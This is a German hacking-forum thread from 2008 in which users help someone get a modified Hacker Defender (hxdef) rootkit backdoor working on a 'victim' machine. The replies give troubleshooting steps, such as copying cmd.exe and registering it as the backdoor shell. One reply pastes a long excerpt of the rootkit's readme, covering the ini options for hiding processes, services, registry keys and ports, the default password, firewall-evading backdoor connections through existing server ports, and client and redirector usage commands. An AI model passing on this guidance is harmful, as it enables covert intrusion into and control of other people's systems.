hxef Backdoor

romestylez · 8. August 2008

So habe nen Problem also hxdef modded etc läuft alles 1A aber wenn ich das Backdoor öffnen will bzw zugreifen will...

Ich starte die bdcli100.exe und dann versuche ich zu connecten...

Nun kommt aber beim connecten das hier

Ich habe aber alles richtig gemacht -_- Jemand ne Ahnung woran das liegen kann ?

Oder hat hier wer ne alte winbindshell rumfliegen ?
Komme nimmer nach Hause zur Zeit und habe nix mit auf der Externen -_-

Einige BWs snd euch sicher Und schreibt mir ruhig ne PM wenner net public posten wollt...

Thx im vorraus

Anzeige

cable · 8. August 2008

AW: hxef Backdoor

Würd mich nich wundern, wenn hier paar Leute überhaupt kP haben, wovon du da redest.

naja, ich kann mirs nur so erklären, dass auf Port 21 nich evtl schon ein FTP läuft und du nich auf die backdoorshell zugreifen kannst.

Also bei mir läuft es ohne Probs!

greez

//Nimm nicht Port 21!

romestylez · 8. August 2008

AW: hxef Backdoor

Port 1337, 1273 etc pp gehen net dummes Beispiel da gewesen mit dem Port 21sry

Aber läuft einfach net der da

Semper · 8. August 2008

AW: hxef Backdoor

backdoor ist not installed......fertig.....installier es mal richtig auf deinem victim.....
bzw ich kanns dir genau sagen woran es liegen wird....
du hast per rootekit dein backdor schon eingetragen im "HIDE" , somit findet er evtl keine verbindung dorthin.......?!?!? ist nur so nen Gedanke

romestylez · 8. August 2008

AW: hxef Backdoor

Weils ja auch eine .exe is die man ebend nstalliert

Hab ne .exe drauf die läuft auch aber er connected net... Router hatter net weiss ich

Er erstellt eine .ini durch die ch net ganz durchblicke, wennsch dort nen Port oder so eintrage und es neustarte, dann mekkert er rum vonwegen "Error in ini delete it an restart"

Also iwie crap... Brauch doch nur ne kleine backdoor zum connecten ^^

Google gibt auch keine halbwegs ordentliche connectback shell her -_-

Semper · 8. August 2008

AW: hxef Backdoor

schonmal anderen Stro getestet.......?

romestylez · 8. August 2008

AW: hxef Backdoor

Ne Semper weil ich der Über n0ob bin

Klar man schon auf 3 Dingern getestet

So modde das Ding neu und denn mal gucken

// EDIT :

Selber Müll

pyro · 8. August 2008

AW: hxef Backdoor

Poste mal deine hxdef-ini (v.a. den letzten abschnitt)
und versuch mal nen anderen port wie port 80, und nich den vo ndeiner servu

croatia · 8. August 2008

AW: hxef Backdoor

muss man bei hxdef net erst "deinhxdef.exe -install" oder so machen?
versuch mal auf dem stro die exe mit "blabla.exe -?" oder /? zu starten wenn
es das ist was ich meine dann solltest du eine liste der commands bekommen und unter anderem das command zum installieren dabei stehen.

Habe damit seit längerer Zeit nix mehr zu tun aber irgendsowas hatte ich in errinerung?
(Kann auch n andres backdoor gewesen sein)

NoEscape · 8. August 2008

AW: hxef Backdoor

die commands stehen in der readme.txt
funktioniert das backdoor überhaupt bei gemoddeten versionen ?

rofl_kartoffel · 8. August 2008

AW: hxef Backdoor

Eventuell hast du deine hxdef-Verison auch kaputt gemodded, wenn du im Source-Code falsch herumgespielt hast. Nimm doch mal die offizielle Version, compile sie und probiere es anschließend auf deinem Home-Rechner. Desweitere kann ich pyros Idee nur unterstützen, denn das Posten der Ini scheint doch recht sinnvoll, da anscheinend irgendwo ein Fehler hockt.

greets

romestylez · 8. August 2008

AW: hxef Backdoor

Danke für eure Tipps

Ich habe sicher nix kaputt gemoddet da binsch mit 1000%tig sicher

Befehle sind da gleich failed ne readme gibt es net

pyro · 8. August 2008

AW: hxef Backdoor

die datei sollte normalerweiße der name von ner kopie der cmd.exe sein..

also cmd.exe kopieren (z.B. zu bla.exe). dann bla.exe als root process eintragen und bla.exe als BackdoorShell eintragen.

romestylez · 8. August 2008

AW: hxef Backdoor

Okay werde ich gleich mal testen is dieser Eintrag iwie wichtig ?

Blackdaemon · 8. August 2008

AW: hxef Backdoor

google ftw

==============================[ ENGLISH INI HELP ]==============================

this is nt rootkit inifile
it must contains three file lists: [Hidden Table], [Hidden Processes]
and [Root Processes],
a list of service names: [Hidden Services],
a list of registry keys: [Hidden RegKeys],
a list of registry values: [Hidden RegValues],
special list of programs with arguments: [Startup Run],
a list of disks with free space change: [Free Space]
a list of hidden ports [Hidden Ports]
and basic settings: [Settings]

lists can be empty, but there must be the heading
lists are divided by clean line
there must be clean line after last [Settings] item if there is comment below

you can use * as a wildcard in [Hidden Table], [Hidden Processes],
[Root Processes], [Hidden Services] and [Hidden RegValues]

you can use shortcuts %cmd%, %cmddir%, %sysdir%, %windir% and %tmpdir% in
[Startup Run] list

[Free Space] list format is X:NUM where X stands for drive letter and NUM
is the number of bytes that will be added to its number of free bytes

[Hidden Ports] list has 3 lines
first line format is TCPI ort1,port2,port3,...
second line format is TCPO ort1,port2,port3,...
second line format is UDP ort1,port2,port3,...

[Settings] must contains eight values: Password, BackdoorShell,
FileMappingName, ServiceName, ServiceDisplayName, ServiceDescription,
DriverName and DriverFileName

extra characters |, <, >, :, \, / and " are ignored on all lines except
[Startup Run], [Free Space] and [Hidden Ports] items and values in [Settings]
after first = character

Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

this mean your backdoor password is "hxdef-rulez", backdoor will copy system
shell file (usually cmd.exe) to "hxdefá$.exe" to temp. Name of shared memory
will be "_.-=[Hacker Defender]=-._". Name of a service is "HackerDefender100",
its display name is "HXD Service 100", its description is "poweful NT rootkit".
Name of a driver is "HackerDefenderDrv100". Driver will be stored in a file
called "hxdefdrv.sys".

=====[ 5. Backdoor ]============================================================

Rootkit hooks some API functions connected with receiving packets
from the net. If incoming data equals to 256 bits long key, password
and service are verified, the copy of a shell is created in a temp, its
instance is created and next incoming data are redirected to this shell.
Because rootkit hooks all process in the system all TCP ports on all
servers will be backdoors. For example, if the target has port 80/TCP open for
HTTP, then this port will also be available as a backdoor. Exception here is
for ports opened by System process which is not hooked. This backdoor will
works only on servers where incoming buffer is larger or equal to 256 bits. But
this feature is on almost all standard servers like Apache, IIS, Oracle.
Backdoor is hidden because its packets go through common servers on the system.
So, you are not able to find it with classic portscanner and this backdoor can
easily go through firewall. Exception in this are classic proxies which are
protocol oriented for e.g. FTP or HTTP.
During tests on IIS services was found that HTTP server does not log
any of this connection, FTP and SMTP servers log only disconnection at the end.
So, if you run hxdef on server with IIS web server, the HTTP port is probably
the best port for backdoor connection on this machine.
You have to use special client if want to connect to the backdoor.
Program bdcli100.exe is used for this.

Usage: bdcli100.exe host port password

Example:
>bdcli100.exe http://www.windowsserver.com 80 hxdef-rulez

this will connect to the backdoor if you rooted http://www.windowsserver.com before
and left default hxdef password

Client for version 1.0.0 is not compatible with servers in older
version.

=====[ 5.1 Redirector ]=========================================================

Redirector is based on backdoor technology. First connection packets
are same as in backdoor connection. That mean you use same ports as for
backdoor. Next packets are special packets for redirector only. These packets
are made by redirectors base which is run on users computer. First packet
of redirected connection defines target server and port.
The redirectors base saves its settings into its inifile which name
depends on base exefile name (so default is rdrbs100.ini). If this file doesn't
exist when base is run, it is created automatically. It is better not to modify
this inifile externaly. All settings can be changed from base console.
If we want to use redirector on server where rootkit is installed,
we have to run redirectors base on localhost before. Then in base console we
have to create mapped port routed to server with hxdef. Finally we can connect
on localhost base on chosen port and transfering data. Redirected data are
coded with rootkit password. In this version connection speed is limited with
about 256 kBps. Redirector is not determined to be used for hispeed connections
in this version. Redirector is also limited with system where rootkit run.
Redirector works with TCP protocol only.
In this version the base is controled with 19 commands. These are not
case sensitive. Their function is described in HELP command. During the base
startup are executed commands in startup-list. Startup-list commands are edited
with commands which start with SU.
Redirector differentiate between two connection types (HTTP and other).
If connection is other type packets are not changed. If it is HTTP type Host
parametr in HTTP header is changed to the target server. Maximum redirectors
count on one base is 1000.
Redirector base fully works only on NT boxes. Only on NT program has
tray icon and you can hide console with HIDE command. Only on NT base can be
run in silent mode where it has no output, no icon and it does only commands
in startup-list.

Examples:
1) getting mapped port info

>MPINFO
No mapped ports in the list.

2) add command MPINFO to startup-list and get startup-list commands:

>SUADD MPINFO
>sulist
0) MPINFO

3) using of HELP command:

>HELP
Type HELP COMMAND for command details.
Valid commands are:
HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD, DEL,
DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT, TEST
>HELP ADD
Create mapped port. You have to specify domain when using HTTP type.
usage: ADD <LOCAL PORT> <MAPPING SERVER> <MAPPING SERVER PORT> <TARGET
SERVER> <TARGET SERVER PORT> <PASSWORD> [TYPE] [DOMAIN]
>HELP EXIT
Kill this application. Use DIS flag to discard unsaved data.
usage: EXIT [DIS]

4) add mapped port, we want to listen on localhost on port 100, rootkit
is installed on server 200.100.2.36 on port 80, target server is Google
on port 80, rootkits password is bIgpWd, connection type is HTTP, ip address
of target server (Google) - we always have to know its ip - is
216.239.53.100:

>ADD 100 200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP Google

command ADD can be run without parameters, in this case we are asked for every
parameter separately

5) now we can check mapped ports again with MPINFO:

>MPINFO
There are 1 mapped ports in the list. Currently 0 of them open.

6) enumeration of mapped port list:

>LIST
000) :100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP

7) datailed description of one mapped port:

>DETAIL 0
Listening on port: 100
Mapping server address: 200.100.2.36
Mapping server port: 80
Target server address: 216.239.53.100
Target server port: 80
Password: bIgpWd
Port type: HTTP
Domain name for HTTP Host: Google
Current state: CLOSED

8) we can test whether the rootkit is installed with out password on mapping
server 200.100.2.36 (but this is not needed if we are sure about it):

>TEST 0
Testing 0) 200.100.2.36:80:bIgpWd - OK

if test failed it returns

Testing 0) 200.100.2.36:80:bIgpWd - FAILED

9) port is still closed and before we can use it, we have to open it with OPEN
command, we can close port with CLOSE command when it is open, we can use flag
ALL when want to apply these commands on all ports in the list, current state
after required action is written after a while:

>OPEN 0
Port number 0 opened.
>CLOSE 0
Port number 0 closed.

or

>OPEN ALL
Port number 0 opened.

10) to save current settings and lists we can use SAVE command, this saves
all to inifile (saving is also done by command EXIT without DIS flag):

>SAVE
Saved successfully.

Open port is all what we need for data transfer. Now you can open your
favourite explorer and type http://localhost:100/ as url. If no problems you
will see how main page on Google is loaded.
First packets of connection can be delayed up to 5 seconds, but others
are limited only by speed of server, your internet connection speed and by
redirector technology which is about 256 kBps in this version.

Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

zieh dir am besten auch den spoiler rein, du kannst ja so gut englisch
tschechisch auf anfrage

falls du noch mehr fragen hast, kannst du dir ja gern das ganze readme-file reinpfeifen^^

pyro · 8. August 2008

AW: hxef Backdoor

ähm ja, das is der name vom treiber
ohne den geht natürlich nix ...

Nützliche Suchen

hxef Backdoor

Videos zum Themenbereich